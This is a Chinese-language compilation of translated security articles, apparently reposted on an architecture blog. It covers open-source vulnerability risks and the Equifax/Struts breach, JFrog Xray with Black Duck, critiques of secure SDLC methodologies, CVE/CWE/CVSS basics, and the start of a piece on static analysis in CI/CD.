- 边界防御
- 数据保护
- 基于知情需要的受控访问
- 无线接入控制
- 账户监控
组织CIS控制
- 实施安全意识和培训计划
- 应用软件安全
- 事件响应和管理
- 渗透测试和红队演习
原文:https://www.cisecurity.org/controls/cis-controls-list/
本文:
讨论:请加入知识星球【首席架构师智库】或者小号【jiagoushi_pro】
- 63 次浏览
【安全运营】2019年要知道的开源安全风险和漏洞
组织正在利用许多开源产品,包括代码库,操作系统,软件和各种用例的应用程序。开源在灵活性,成本效益和速度方面可能是有利的,但是它提出了一些独特的安全挑战。高达96%的商业应用程序可能包含开源组件,因此面临的挑战是确保您的软件安全。
什么是开源漏洞?
开源中的漏洞就像是专有产品中出现的漏洞。这些是代码作者意外编写的代码,黑客可以从中受益,或者允许攻击者以代码作者未规划的方式进行资本化的功能。在某些情况下,这可能导致诸如拒绝服务(DoS)和使服务脱机等问题,而在严重违规时,黑客可以获得对组织系统的远程访问。
但是,专有和开源之间的相似之处在此结束。虽然内部代码是由一组坚持组织集中指导的开发人员编写的,但开源是在编写,修复和保持项目运动的社区成员之间分配的。
这种集中式与分布式系统通常被称为大教堂和市集。在集中式系统中,有一个独特的组织,它有一个处理修复和新增功能的标准系统。组织可能会发现开源代码更难以处理,因为它遵循一套不同的,通常更为模糊的规则。
在这种非结构化环境中工作对于组织来说可能很难处理,并且黑客通常会利用这种缺乏集中管理的能力。很多时候,开发人员将从站点上的存储库中获取开源代码,并且无法查看该组件是否具有任何已知漏洞。更可怕的是,没有多少组织建立了跟踪其产品或库存中的开源的解决方案。
Equifax Breach
新发布的2018年OSSRA报告研究了来自500多个组织的1,000多个商业代码库的审计结果。扫描确定的中心数据点是,平均而言,发现漏洞需要更长的时间。平均而言,审计中发现的漏洞在六年前与2017年记录的四年相比有所揭示。这些调查结果表明,负责补救的人可能需要更长的时间来重新调解,或者没有重新调解所有。它还表明这些人正在让开源漏洞在他们的代码库中积累。
一个例子是导致Equifax漏洞的Apache Struts漏洞。这一漏洞影响了超过1.48亿美国客户,接近7,00,000英国居民和19,000多名加拿大消费者的数据。 2017年3月,Struts漏洞被公布,并发布了一个补丁。 2017年9月,由未修补的Struts版本推动的Equifax漏洞被公布。随后的宣传将使参与应用程序安全的任何人都难以忽略修补任何易受攻击的Struts版本的需要。
然而,似乎组织没有被提示采取行动,并且Equifax新闻几乎没有影响。据发现,8%的审计代码库包含Apache Struts,其中33%仍有Struts漏洞导致Equifax漏洞。
4开源安全风险和漏洞需要注意
1.攻击的公共性质
在开源项目中,代码可供任何人使用。这有其优势,因为开源社区中的人可以标记他们在代码中识别的潜在漏洞,这使得开源团队领导者有时间在公开发布漏洞信息之前修复问题。但是,所有漏洞都会及时成为国家漏洞数据库(NVD)的公共信息。黑客可以访问这些信息,并追踪那些对依赖于具有漏洞的开源项目的应用程序进行修补的速度慢的组织。
2.潜在的侵权风险
开源组件可能会产生知识产权侵权风险,因为这些项目没有标准的商业控制。因此,专有代码可以进入开源项目。
3.运营问题
使用开源组件的企业面临的一个关键风险领域是组织的运营效率低下。从操作的角度来看,严重关注的是组织未能跟踪开源组件并更新这些组件,与新版本保持一致。
4.开发人员的医疗事故
开发人员的不法行为,包括从开源库复制和粘贴代码。复制和粘贴是有问题的,因为开发人员在复制时会复制项目代码中可能存在的任何漏洞。此外,一旦开发人员将代码片段添加到组织的代码库中,就无法更新或跟踪代码片段。这使得组织的应用程序容易出现将来可能发生的漏洞。可能发生的另一个不法行为是通过电子邮件手动转移开源组件。
结论
未来一年,开源安全可能会变得更加紧迫。你问为什么?随着开放在Web应用程序开发中变得越来越普遍,它将成为攻击者更大,更具吸引力的目标。攻击者可能会找到一个开源库或组件的漏洞,并且可能同时影响多个应用程序。由于这些库和组件是开放的,攻击者可以更容易地找到这些漏洞。
那么我们从这一切中得到什么呢?在2019年保持最新的开源安全风险和漏洞是值得的,并且您解决这些潜在风险的速度越快,您的组织可能承受的损害就越小。
原文:https://blog.bitsrc.io/open-source-security-risks-and-vulnerabilities-to-know-in-2019-8354058f6ad3
本文:http://pub.intelligentx.net/open-source-security-risks-and-vulnerabilities-know-2019
讨论: 加入知识星球【首席架构师圈】
- 26 次浏览
【安全运营】Frogs and Ducks,,你的开源安全哨兵
Black Duck Software创建产品以保护和管理应用程序和容器中的开源,消除与开源安全漏洞和许可证合规性相关的痛苦。他们在2016年进行的第十届开源调查年度未来,提供了证明我们已经知道的许多关于开源的事情的数字。
首先,“每个人”都在使用开源,或者作为调查结果状态......
“无处不在的全球开源软件开发是常规。”
该调查还显示,使用开源的主要驱动力是免于供应商锁定。这也是JFrog的主要驱动因素之一,也是我们创造的一切都是通用的原因:
Artifactory,通用工件存储库管理器
Bintray,通用软件分发平台,
Xray,用于通用工件分析,
Mission Control,通用仓库管理。
大多数组织盲目使用开源
但调查还显示,大多数组织缺乏对开源软件的可见性和控制力。开源通过许多已知和未知的来源(包括开发人员,供应商和外部承包商)在组织的应用程序代码中输入和传播。 Black Duck On-Demand服务进行的开源审计发现,平均而言,公司使用的开源数量是之前所知的两倍,而67%的应用程序包含已知的开源漏洞。
你需要一个过程才能看到光明
为了解除开源使用的“迷雾”,组织需要一些自动化且可重复的过程,在大多数情况下,这些过程不存在。这些包括:
- 在进入代码流时检测和批准新的开源
- 盘点并跟踪其代码库和Docker容器中开源软件的使用情况
- 识别或监控与他们使用的开源软件相关的已知开源漏洞(如Heartbleed,ShellShock等)
- 随着时间的推移,协调或跟踪风险补救工作
- 评估使用具有不兼容许可条款的开源软件可能产生的诉讼和知识产权(IP)风险。
- 审核和实施开源安全策略和许可证合规性。
所有这些过程现在都更容易实现,Black Duck Hub集成到JFrog Xray和Black Duck的二进制存储库集成插件中,用于JFrog Artifactory
Xray通过Black Duck Hub点亮前进的道路
Xray的深度递归扫描会将Artifactory存储库中的包和深入到最深层次,以识别您正在使用的所有开源依赖项。 Xray通过其漏洞的全局数据库交叉引用这些依赖关系,这些漏洞汇集自不同的来源。
Black Duck Hub在整个软件开发生命周期(SDLC)中为组织提供开源风险管理 - 包括IDE,SCM,构建,CI,二进制存储库和Docker容器。
通过Xray与Black Duck Hub的集成,您可以大大扩展漏洞数据库,包括Black Duck全面的KnowledgeBase(™),包括2,000,000多个开源项目和150,000个漏洞。 您需要做的就是在Xray的集成模块中输入您的Black Duck凭证。
Black Duck与JFrog Artifactory和Xray的集成允许组织在SDLC中的不同级别管理构建输出扫描和存储库检查。在使用Artifactory Pro的存储库级别或在Xray的正式SDLC过程之外。例如,构建输出扫描程序插件可以在开发过程中更早地监视构建并提供风险信息,例如,当需要监视开发人员构建时。当企业拥有多个不同的SDLC工具集并且无法在所有工具集中进行统一集成时,存储库检查器插件提供了监视工件的功能。将Black Duck Hub集成到Xray中也可以通过Xray提供类似的功能。 Xray根据您定义的Watches扫描存储库中的构建和工件,使用其全局数据库与Black Duck KnowledgeBase交叉引用这些工件以识别问题和漏洞,然后它可以生成相应的警报以进行补救。
将JFrog Xray和JFrog Artifactory的强大功能与Black Duck Hub相结合,使组织能够消除开源安全漏洞,满足许可证合规性义务并限制操作风险。
识别组件和开源安全风险
Xray会自动跟踪Artifactory存储库中组件和Docker镜像使用的开源。它将这些组件映射到其全局数据库和Black Duck的KnowledgeBase中报告的已知开源安全漏洞的组件,并监视许可证和组件质量风险。
自动化补救和政策执行
使用Watches中定义的许可过滤器轻松实施开源许可策略,并通过在构建中检测到漏洞的早期干预自动CI过程来简化实施。
持续监控新漏洞的应用程序
Xray的全球数据库和Black Duck的KnowledgeBase都聚合了多个漏洞数据源,因此您可以获得生产应用中检测到的新漏洞的当天警报。通知可以通过Xray UI,通过电子邮件或调用webhooks发布
随着Xray和Black Duck守卫你的大门,你对开源软件的使用受到了关注。您完全了解组织使用的所有开源组件,可以在SDLC的早期检测和修复漏洞,当检测到生产系统中可能潜伏的新漏洞并使用开源时,您会立即收到通知不仅无处不在,而且也是安全的。
原文:https://jfrog.com/blog/frogs-and-ducks-your-sentinels-for-open-source-security/
本文:http://pub.intelligentx.net/node/426
讨论:加入知识星球【首席架构师圈】
- 36 次浏览
【安全运营】为什么现有的安全SDLC方法失败
规模,自动化和不断增长的成本越来越多地促使组织采用安全的软件开发生命周期(SDLC)方法。虽然静态代码分析和漏洞扫描等工具在提高应用程序安全性方面取得了成功,但组织已经开始认识到SDLC内安全审查早期集成的价值 - 最显着的是它降低了管理和修复成本的能力与安全相关的错误。
但是,许多用于执行此操作的方法(如OpenSAMM,BSIMM和Microsoft的SDL)采用的方法类似于低效,自上而下的瀑布式方法。这些保护SDLC的方法在业界很多都失败了,需要采用新的方法。
流行的安全SDLC方法
正如许多专家建议的那样,软件组织通常采用自上而下的方法来实施安全的SDLC方法。虽然这种方法的好处是可以确保安全软件开发过程所需的组件,但它并不能保证安全的产品。
以下是目前帮助组织在其SDLC中集成安全性的流行方法的简短列表。
- OpenSAMM:软件保障成熟度模型(SAMM)是一个OWASP项目,用于指导SDLC中的安全性集成。所描述的12项活动分为四类:治理,建设,验证和部署。
- BSIMM:由Cigital开发的建筑安全成熟度模型(BSIMM)由12个实践组成,分为4个领域:治理,智能,安全软件开发生命周期(S-SDLC)接触点和部署。
- SDL:Microsoft安全开发生命周期旨在创建符合法规标准的安全软件,同时降低开发成本。微软开始推广这种方法,强调分别在2001年和2002年遵循CodeRed和Nimda蠕虫的安全编码实践的重要性。
安全SDLC方法已经为软件开发人员做出了许多承诺,特别是SDLC中早期安全集成带来的成本节约,这有助于避免代价高昂的设计缺陷并提高软件项目的长期可行性。
但是,这些方法并非没有缺点。
瀑布SDLC方法在敏捷环境中受阻
流行的方法通常将组织划分为业务单元或业务功能,并且仅在其他活动完成后才依赖于启动某些活动。这种组织结构假设业务活动以特定的线性顺序发生,这是敏捷框架难以协调的主张。
例如,Microsoft SDL定义了一种称为“建立安全和隐私要求”的做法,该做法建议尽早开发安全和隐私目标,以便最大限度地减少调度冲突,但这也会产生创建敏捷环境中通常不存在的严格时间线的效果。
在敏捷框架下,他们强调持续集成和持续部署,很少有软件开发团队创建详细记录长期计划的文档。这使得敏捷团队难以实现这种以瀑布为中心的安全SDLC。
实施成本很高
与实施SDLC相关的成本可能过高。根据OpenSAMM自己的估计,当使用下表第二列中描述的估计小时费用时,实施其12项活动中的每项活动将花费大约90,000美元。
尽管为确保整个组织的开发过程提供90,000美元看起来似乎很划算,但应该提到三个警告。
90,000美元的估算仅包括实施OpenSAMM第一级到期水平的成本,不包括第二级或第三级的成本,这无疑会大大提高最终成本。
90,000美元的估计是保守的。 OpenSAMM每年为第一个成熟度级别所需的代码审查活动分配五到九天。因此,这可能是一个非常小的组织,或者估计是不完整的,可能只考虑设置成本而不是持续的运营费用。我组织并参与了无数的代码审查,我可以证明它们是一项耗时的活动,在大多数情况下很容易超过90,000美元的估算。
最后,方法所推荐的实施活动的价值往往在这个过程中丢失,而这些活动的实施完全是因为它们作为必须满足的清单上的要求而存在才能继续前进。例如,实施漏洞扫描并不能保证甚至可以查看扫描,更不用说采取行动了。如果要从其实施中获得价值,则必须了解活动的背景及其相关指标的相互作用。
自下而上的安全SDLC
也许SDLC方法不应该从上到下,而是从下到上来处理和实施。您可以先确定目标,然后确定并采用最有效地帮助您实现这些目标的活动,而不是实施满足检查表要求的活动。
对于这种方法,有必要首先确定对您的组织成功至关重要的指标。在我看来,有两个重要指标:漏洞总数及其平均补救时间。
- 漏洞总数:任何方法的唯一目的是帮助组织系统地,始终如一地生成更安全的代码。查找并减少代码中的漏洞数量意味着您已经创建了一个更安全的最终项目。
- 平均修复时间:由于两个重要原因,修复后期制作中的错误比在预生产中修复它们要成本高得多。首先,存在的错误越长,攻击者就越需要利用它们。其次,随着开发人员转向不同的项目,或者在某些情况下,其他公司,组织解决安全问题的能力会降低,从而增加与修复这些问题相关的成本。
确定关键指标后,首先要实施可以帮助您尽快达到指标目标的活动。所选指标将指导您识别和实施可帮助您实现目标的活动。安全的用户故事,安全代码审查,渗透测试和环境强化只是一些可能有用的活动。
分析后的行动项目
在最初的活动实施后,您的重点应转向持续的投资和改进。例如,如果安全代码审查的实现揭示了过多的错误,那么投资培训以改进安全编码技术可能是有利的。或者,如果需要时间进行补救,那么投资漏洞管理系统可以帮助开发人员更好地管理漏洞并缩短补救时间。
敏捷,度量驱动的方法
当前的技术前景要求公司认真对待软件安全以获得成功,并且越来越多的人已经做到这一点,向左转并采用安全的SDLC方法。
虽然大多数组织依赖于敏捷软件开发框架(如Scrum),但许多安全的SDLC方法都是针对瀑布式方法而设计的。遗憾的是,DevOps对速度和自动化的关注意味着这些方法落后,需要大量的手动工作才能跟上快速发展的发展前景。
如果开发人员要保持领先于他们日常面临的日益增长的安全挑战,那么在当今敏捷,以开发为导向的世界中,对更轻,敏捷和度量驱动的方法的需求已成为必需。
原文:https://techbeacon.com/security/why-existing-secure-sdlc-methodologies-are-failing
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 38 次浏览
【安全运营】什么定义了已知的开源漏洞?
介绍
开源软件 - 其代码可供公众查阅,通常可免费使用 - 非常棒。作为消费者,它使我们无需重新发明轮子,让我们专注于我们的核心功能并大幅提高我们的生产力。作为作者,它让我们分享我们的工作,获得社区的爱,建立声誉,并且有时对软件的工作方式产生实际影响。
因为它太神奇了,开源使用率飙升。实际上,从妈妈和流行商店到银行和政府的每个组织都依靠开源来运营他们的技术堆栈 - 以及他们的业务。工具和最佳实践已经发展到使这种消费变得越来越容易,通过单个代码或终端线来降低大量功能。
不幸的是,使用开源也存在很大的风险。我们依靠这些由陌生人编写的众包代码来运行任务关键型系统。通常情况下,我们很少或根本没有仔细检查,几乎没有意识到我们正在使用什么,完全不知道它的血统。
您使用的每个库都存在多个潜在的陷阱。该库是否存在攻击者可以利用的软件漏洞?它是否使用病毒许可证使我们的知识产权面临风险?恶意贡献者是否在良好的代码中隐藏了恶意软件?
与商业软件不同,免费开源软件(FOSS)很少提供任何担保或保证。作为开源软件的消费者,您有责任了解并减轻这些风险。
2017年9月宣布的Equifax数据泄露事件使这一风险完全成为现实。由于开源Apache Struts库存在严重漏洞,该漏洞暴露了1.43亿人的极端个人信息。 2017年3月披露了此漏洞,只有在发现漏洞后,有问题的Equifax系统才会在7月底之前修补。 Equifax完全有能力更早识别和解决这个问题,防止大规模泄漏,许多人声称不这样做是公司的疏忽。 Equifax漏洞肯定会成为保护数据和负责任地使用开源的重要性的典型代表。
书籍目的和目标受众
本书将帮助您解决易受攻击的开源库的风险,这是绊倒Equifax的原因。正如我将在本书中讨论的那样,这些易受攻击的依赖项最有可能被攻击者利用,并且您需要良好的实践和工具来大规模保护您的应用程序。
由于在开发(包括DevOps)和应用程序安全性之间共享应用程序及其库的安全责任,因此本书面向这两个部门的架构师和从业者。
考虑到这一点,接下来的几节将进一步解释本书的内容和范围。其余主题有望在未来更广泛的书中介绍。
工具与库
开源项目有多种形式和形式。对它们进行分类的一种有些过于简单的方法是将它们分成工具和库。
工具是独立的实体,无需编写自己的应用程序即可使用或运行。工具可以大小,从小型Linux实用程序(如cat和cURL)到完整和复杂的平台(如CloudFoundry或Hadoop)。
库具有旨在在应用程序内部使用的功能。示例包括Node.js的Express Web服务器,Java的OkHttp HTTP客户端或本机OpenSSL TLS库。与项目一样,库的大小,复杂性和广度也有很大差异。
本书专注于库。虽然一些开源项目可以作为工具和库使用,但本书仅考虑库方面。
应用程序与操作系统依赖关系
开源软件(OSS)项目可以直接从他们的网站或GitHub存储库下载,但主要通过注册表来使用,注册表包含打包和版本化的项目快照。
一类注册表包含操作系统依赖性。例如,Debian和Ubuntu系统使用apt注册表来下载实用程序,Fedora和RedHat用户利用yum,许多Mac用户使用HomeBrew在他们的机器上安装工具。这些通常被称为服务器依赖项,更新它们通常称为“修补服务器”。
另一种类型的注册表包含主要用于应用程序的软件库。这些注册表主要是语言特定的 - 例如,pip包含Python库,npm包含Node.js和前端JavaScript代码,Maven服务于Java和相邻社区。
保护服务器依赖性主要归结为通过经常运行诸如apt-get upgrade之类的命令来更新依赖关系。虽然现实问题从未如此简单,但保护服务器依赖性比保护应用程序依赖性要好得多。因此,虽然它的大部分逻辑适用于所有类型的库,但本书仅专注于应用程序依赖性。
要了解有关保护服务器(包括其依赖关系)的更多信息,请查看Lee Brotherston和Amanda Berlin的防御安全手册(O'Reilly,2017)。
已知的漏洞与其他风险
消费开源库存在多种类型的风险,包括对库许可的法律问题,陈旧或管理不善的项目中的可靠性问题,以及具有恶意或妥协贡献者的库。
但是,在我看来,最直接的安全风险在于开源库中的已知漏洞。正如我将在下一章解释的那样,这些已知的漏洞是攻击者利用的最简单的途径,并且大多数组织都很难理解和处理。
本书侧重于不断发现,修复和预防开源库中的已知漏洞。其目的是帮助您了解这种风险以及您需要采取的措施。
比较工具
有助于解决易受攻击库的工具通常称为软件组合分析(SCA)工具。这个首字母缩略词并不代表整个风险范围(特别是,它没有捕获分析后的补救措施),但由于这是分析师使用的术语,我将在本书中使用它。
由于工具环境正在迅速发展,我将主要避免引用特定工具的功能,除非工具与相关功能紧密相关。在命名工具时,我将专注于免费或免费增值工具,允许您在使用前对其进行审核。第6章从更高层次的角度对评估工具进行了评估,从而在选择解决方案时提供了更加明确的视角,了解哪些方面最重要。
书大纲
既然您已经理解了本书的主题,那么让我们快速回顾一下这个流程:
- 开源软件包中的已知漏洞定义并讨论了已知的漏洞以及为什么跟上它们的重要性。
- 第2章到第5章解释了解决开源库中已知漏洞的四个逻辑步骤:查找漏洞,修复漏洞,防止添加新的易受攻击的库,以及响应新披露的漏洞。
- 如前所述,第6章从解释SCA工具之间的差异,突出我认为最重要的属性重点。
- 最后,第7章总结了我们所学到的内容,并简要介绍了未详细介绍的主题。
本书假定您已熟悉使用开源注册表(如npm,Maven或RubyGems)的基础知识。如果你不是,那么在开始阅读本书之前,有必要阅读一两个这样的生态系统,以充分利用它。
开源软件包中的已知漏洞
“已知漏洞”听起来像是一个非常不言自明的术语。顾名思义,这是一个公开报道的安全漏洞。然而,由于这些缺陷的数量和重要性,围绕这种风险形成了一个完整的生态系统,包括广泛使用的标准以及商业和政府参与者。
本章试图更好地定义已知漏洞的含义,并解释在建立解决方法时需要理解的关键行业术语。
可重用产品中的漏洞
已知漏洞仅适用于具有多个部署的可重用产品,也称为第三方组件。这些产品可以是软件或硬件,免费或商业,但它们总是部署多个实例。如果一个漏洞仅存在于一个系统中,则对其进行清点并让其他人了解它(除了攻击者之外)是没有价值的。
因此,当我们谈到已知的漏洞时,我们只提到可重用的产品。由于大多数已知漏洞处理商业产品(开源已知漏洞的世界有点新生),负责产品的实体通常被称为供应商。在本书中,因为它涉及开源软件包而不是商业软件,所以我将该实体称为软件包的所有者或作者。
漏洞数据库
在最基本的层面上,一旦漏洞被公开发布在一个相当容易找到的位置,就会被认为是漏洞。一旦漏洞被广泛披露,维护者就可以了解它并保护他们的应用程序,但攻击者 - 包括自动化或不太复杂的攻击者 - 也有机会轻松找到并利用它。
也就是说,互联网是一个很大的地方,并拥有大量的软件。新的漏洞会定期披露,有时甚至会在一天内泄漏数十个漏洞。为了使防御者能够跟上,这些漏洞需要存储在一个易于查找的中心位置。为此目的,已经创建了许多结构化数据库,包括商业和开放数据库,以编译这些漏洞和有关它们的信息,允许个人和工具查询测试他们的系统以防止他们持有的漏洞。
此外,有几个数据库专注于开源软件包中的漏洞,例如Snyk的DB,Node Security Project,Rubysec和Victims DB。但是,在深入研究之前,让我们回顾一下已知漏洞数据库世界的更广泛和更标准化的基础:CVE,CWE,CPE和CVSS。
技巧
已知的漏洞与零日
漏洞也可以为某些方所知,但不能公开发布。例如,糟糕的演员经常在流行的库中发现漏洞并在黑市上出售(通常称为“黑暗网络”)。这些漏洞通常被称为零日漏洞,这意味着自披露以来零日已过去。
Common Vulnerabilities and Exposures
常见漏洞与暴露(CVE)
最常见的漏洞信息是常见漏洞和披露(CVE)。 CVE是一个免费的漏洞词典,由美国政府创建和赞助,由MITRE非营利组织维护。在美国政府的支持下,CVE在全球范围内被用作分类系统。
当披露新的漏洞时,可以向MITRE(或其他CVE编号机构之一)报告,该漏洞可以确认问题是真实的并为其分配CVE编号。从那时起,CVE编号可以用作此缺陷的跨系统标识符,从而可以轻松地在安全工具之间进行关联。实际上,即使在为给定漏洞维护自己的ID时,大多数漏洞数据库也会保留并共享CVE。
值得注意的是,CVE本身不是一个数据库,而是一个ID字典。为了帮助自动化系统访问所有CVE,美国政府还支持国家漏洞数据库(NVD)。 NVD是一个数据库,通过标准化的安全内容自动化协议(SCAP)公开漏洞信息。
CVE是一个非常混乱的漏洞列表,因为它适用于各种各样的系统。为了使其与消费者保持一致和可用,MITRE围绕内容和分类制定了各种指导方针和政策。至少对于OSS库世界而言,三个最值得注意的是CPE,CWE和CVSS。
Common Platform Enumeration
通用平台枚举(CPE)
除了它们所代表的大量漏洞之外,CVE还表明了极其不同的产品存在缺陷。为了使您更容易发现给定的CVE是否适用于您的产品,NVD可以使用一个或多个Common Product Enumeration(CPE)字段修改每个CVE。 CPE是一种相对宽松的数据结构,它描述了此CVE适用的产品名称和版本范围(以及可能还有其他数据)。请注意,CPE不是CVE的一部分,而是NVD的一部分。这意味着一个已知的漏洞不会有产品信息,除非它进入NVD,这并不总是会发生(稍后会详细介绍)。
CPE是一个强大的想法,可以实现漏洞的自动发现。但是,以通用方式定义产品非常困难,并且缺乏许多CVE的内容质量。因此,在实践中,CPE通常是不准确的,部分的,或者根本不是自动化友好的,足以实用。严重依赖CPE的产品,如OWASP依赖检查器,需要使用模糊逻辑来理解CPE,并在缺少内容时失败,从而导致大量误报和漏报。
为了解决这一差距,OSS库空间中的大多数商业漏洞扫描程序和数据库仅使用CPE作为起点,但是将CVE的映射保持为相关产品。
Common Weakness Enumeration
常见弱点枚举(CWE)
虽然每个漏洞都是它自己独特的雪花,但在一天结束时,大多数漏洞都属于更有限的漏洞类型列表。 MITER将这些类型分类为Common Weakness Enumeration(CWE)列表,并提供有关每种弱点类型的信息。虽然CWE项目可以非常具体(例如,CWE-608表示在Struts的ActionForm类中使用非私有字段),但其更广泛的类别被更广泛地使用。例如,CWE-285描述了不正当授权,而CWE-20代表了不正确输入验证的许多变体。 CWE也是分层的,允许更广泛的范围CWE包含多个更窄范围的CWE。
较少数量的CWE使得为每个项目提供丰富的详细信息和补救建议更为可行,或者根据漏洞类型定义策略。每个CVE都使用一个或多个CWE进行分类,帮助其消费者专注于他们最感兴趣的CWE,并且无需为每个相关的CVE重复CWE级信息。
常见漏洞评分系统(CVSS)
漏洞定期披露,并以相当惊人的速度披露,但并非所有漏洞都需要放弃所有内容并采取行动。例如,向攻击者泄露信息并不像允许他们远程执行服务器上的命令那么糟糕。此外,如果可以通过简单的HTTP请求利用漏洞,则修复比要求攻击者修改后端文件的漏洞更紧急。
也就是说,对漏洞进行分类并不容易,因为有很多参数,很难判断每个参数的重量。访问DB的程度是否比远程命令执行更严重?如果此执行是作为低权限用户完成的,那么与以root身份执行的漏洞利用相比,应该降低其严重性分数的程度是多少?如何判断需要长序列请求的漏洞,但是可以使用从Web下载的工具来完成?
除此之外,问题的严重性还取决于它所在的系统。例如,银行网站上的信息泄露漏洞比静态新闻网站上的漏洞更严重,需要物理机访问的漏洞对设备而言比对云服务更重要。
为了帮助解决所有这些问题,MITRE创建了一个通用漏洞评分系统(CVSS)。该系统目前处于第三次迭代,因此您可能会看到对CVSSv3的引用,这是此处讨论的版本。 CVSSv3将得分分为三个不同的分数,每个分数分成几个较小的分数:
基础(Base)
有关漏洞的不可变细节,包括攻击媒介,利用复杂性以及它可能产生的影响。
暂时的 (Temporal)
时间敏感信息,例如漏洞利用工具的成熟度或易于修复。
环境的 (Environmental)
易受攻击的系统的上下文信息,例如它的敏感程度或可访问性。
图1-1显示了样本漏洞的CVSSv3评分的变量和计算(计算是使用FIRST.org的在线工具生成的)。
虽然所有三个分数都很重要,但公共数据库通常仅显示基于Base组件的CVSS分数。时间分数的不断变化使维护成本高昂,根据定义,环境分数是每个漏洞实例特有的。尽管如此,这些数据库的用户仍然可以填写这两个分数,根据需要调整权重,并获得最终分数。
CVE和NVD之外的已知漏洞
拥有CVE很有帮助,但这也很麻烦。收到CVE号码要求作者或记者首先了解它,然后进行一定量的文书工作和备案工作。最后,CVE需要得到特定CVE编号机构(CNA)的批准,这需要时间。因此,尽管CVE是某些类型系统(例如,网络设备)中的漏洞的标准,但它们在其他世界中并不常见。
当涉及OSS包中的已知漏洞时,CVE的形状尤其糟糕。截至2017年10月,基于Snyk的数据库,只有67%的Ruby gem漏洞分配了CVE,而11%的npm软件包漏洞只有这样的ID。
造成这种差距的一个原因是,开发人员(而非安全研究人员)报告了许多库漏洞,并将其作为漏洞进行通信。这些问题通常很快得到解决,但一旦修复,作者和记者很少会通过CVE流程。即使他们这样做,CVE的任务也远远落后,而攻击者可能正在利用现在已知的漏洞。
在CVE的分配和将其发布到NVD之间又发生了另一个滞后,提供了更多的细节,也许还有CPE。当新漏洞在经过负责任的披露过程中保留一定数量时,预计会出现此类延迟,但这种延迟通常在漏洞已知后发生。
在查看易受攻击的Maven软件包时,这种滞后非常明显:37%的具有CVE的Maven软件包漏洞在被添加到NVD之前是公开的,其中20%在被添加之前已经公开了40周或更长时间。
NVD上没有的已知漏洞仍然存在,但难以检测。库漏洞可能要么没有CVE,要么没有在NVD上列出(因此没有咨询或CPE),或者质量差的CPE。其中每一项都会阻止它们通过专门依赖这些公共数据源的工具进行检测,尤其是OWASP依赖检查器。
技巧
在没有CVE的情况下使用CWE和CVSS
虽然CVE,CWE和CVSS都是MITRE标准,但它们可以彼此独立使用。 CWE和CVSS通常用于没有CVE的漏洞,即使没有行业范围的ID,也提供标准化的分类和严重性。
未知与已知漏洞
每个已知的漏洞在某些时候都是未知的。这似乎是显而易见的,但这是一个重要的理解点 - 一个新的已知漏洞不是一个新的漏洞,而是一个新披露的漏洞。在发现和报告之前,漏洞本身已存在。然而,虽然披露漏洞并不能创建它,但它确实改变了它应该如何处理,以及它应该如何紧急修复。
对于攻击者来说,查找和利用未知漏洞很难。存在无穷无尽的潜在攻击变体,需要在避免检测的同时快速调用。确定攻击是否成功并不总是容易的,这意味着提交的有效载荷可能已经成功通过,而攻击者仍然不是更聪明。
一旦泄露漏洞,利用它就变得容易多了。攻击者可以详细了解漏洞及其调用方式,只需要识别正在运行的软件(称为指纹识别的过程)并获取恶意负载。通过自动漏洞利用工具可以更轻松地完成此过程,该工具可以列举已知的漏洞及其漏洞。这种自动化还降低了进入障碍,允许不太复杂的攻击者尝试渗透。
已知的漏洞在很大程度上被认为是野外成功攻击的主要原因。引用两个样本来源,Verizon表示“大多数攻击都利用已知的漏洞,这些漏洞从未修补过,尽管有几个月,甚至几年可用的补丁”,赛门铁克预测“到2020年,99%的漏洞利用将继续是已知的漏洞由安全和IT专业人员至少一年“。在应用方面,Gartner和RedMonk等分析公司一再声明处理开源库中已知漏洞的重要性。
因此,应该紧急处理已知的漏洞。即使它是相同的漏洞,它的披露使攻击者更有可能使用它来访问您的系统。漏洞的披露引发了一场竞赛,看看一名防守者是否可以在攻击者通过它之前封堵洞。图1-2显示了攻击者对前面提到的严重Struts2漏洞披露的反应,在几天内从零攻击逐渐增加到每天观察到的超过一千次攻击。
好消息是已知漏洞比未知漏洞更容易防御。通常,已知的漏洞也具有已知的解决方案,通常以软件升级或补丁的形式。即使不存在软件解决方案,您至少应该更好地了解如何检测攻击并防止它们通过安全控制。正如我将在第5章中讨论的那样,重要的是投资系统,让您快速了解此类披露,并比不良行为者更快地采取行动。
负责任的披露
到目前为止,我谈到了披露作为一个单一的时间点,实际上它不应该是二元的。披露漏洞的正确方式,被称为负责任的披露,涉及几个步骤,旨在让维权者在上述竞选中领先一步。
理解负责任的披露对于开源消费者来说并不重要,但对于开源作者来说这一点非常重要。要了解有关负责任披露的更多信息,您可以阅读Tim Kadlec的优秀博客文章,或者查看Snyk负责任的披露模板。
摘要
已知的漏洞并不像最初出现的那么简单。已知的内容的定义和漏洞元数据的管理很难做得很好。
CVE和NVD适用于策划商业产品中的漏洞,但不能扩展到开源项目的卷和所有权模型。随着时间的推移,这些标准可能会发展以满足这种需求,但是现在它们的覆盖范围和细节水平还不足以保护您的库。
原文:https://www.oreilly.com/ideas/what-defines-a-known-open-source-vulnerability
本文:http://pub.intelligentx.net/node/422
讨论: 加入知识星球【首席架构师圈】
- 54 次浏览
【安全运营】什么是CI / CD管道中的代码静态分析?
借助DevOps实践,企业IT更快,更灵活。自动构建,测试和发布形式的自动化在实现这些优势方面发挥着重要作用,并为持续集成/持续部署(CI / CD)管道奠定了基础。但是,是否可以在不降低流程速度的情况下将安全性集成到混合中? IT团队可以将安全性集成到DevOps管道中的一种方法是确保发布的代码从一开始就是安全的。将安全性作为一流公民集成到DevOps流程中的概念称为DevSecOps,是安全敏感型企业的最佳实践。
Cloud Academy最近发布了一套新的DevOps实验室,重点介绍了CI / CD管道自动化的一些最佳实践。在这篇文章中,我将向您展示如何在CI / CD管道中使用静态分析来提高代码质量,从而减少现在和将来的问题。
什么是静态分析?
静态分析是一种在推送到生产之前分析缺陷,错误或安全问题的代码的方法。静态分析工具通常被称为“linters”,可以从代码中删除不必要的毛茸茸,并执行一些自动检查以提高代码质量。静态分析工具可以检查:
- 代码风格约定和标准不一致。它可以像执行一致的缩进和变量名一样简单,也可以像强制执行MISRA或CERT安全编码标准那样复杂
- 资源泄漏,例如无法释放已分配的内存,最终可能导致程序崩溃或无法关闭文件
- 应用程序编程接口(API)的使用不正确
- 常见的安全漏洞,例如Open Web Application Security Project(OWASP)或Common Weakness Enumeration(CWE)所识别的漏洞
有哪些静态分析工具?
可用的静态分析工具可以根据它们支持的功能进行分类,包括:
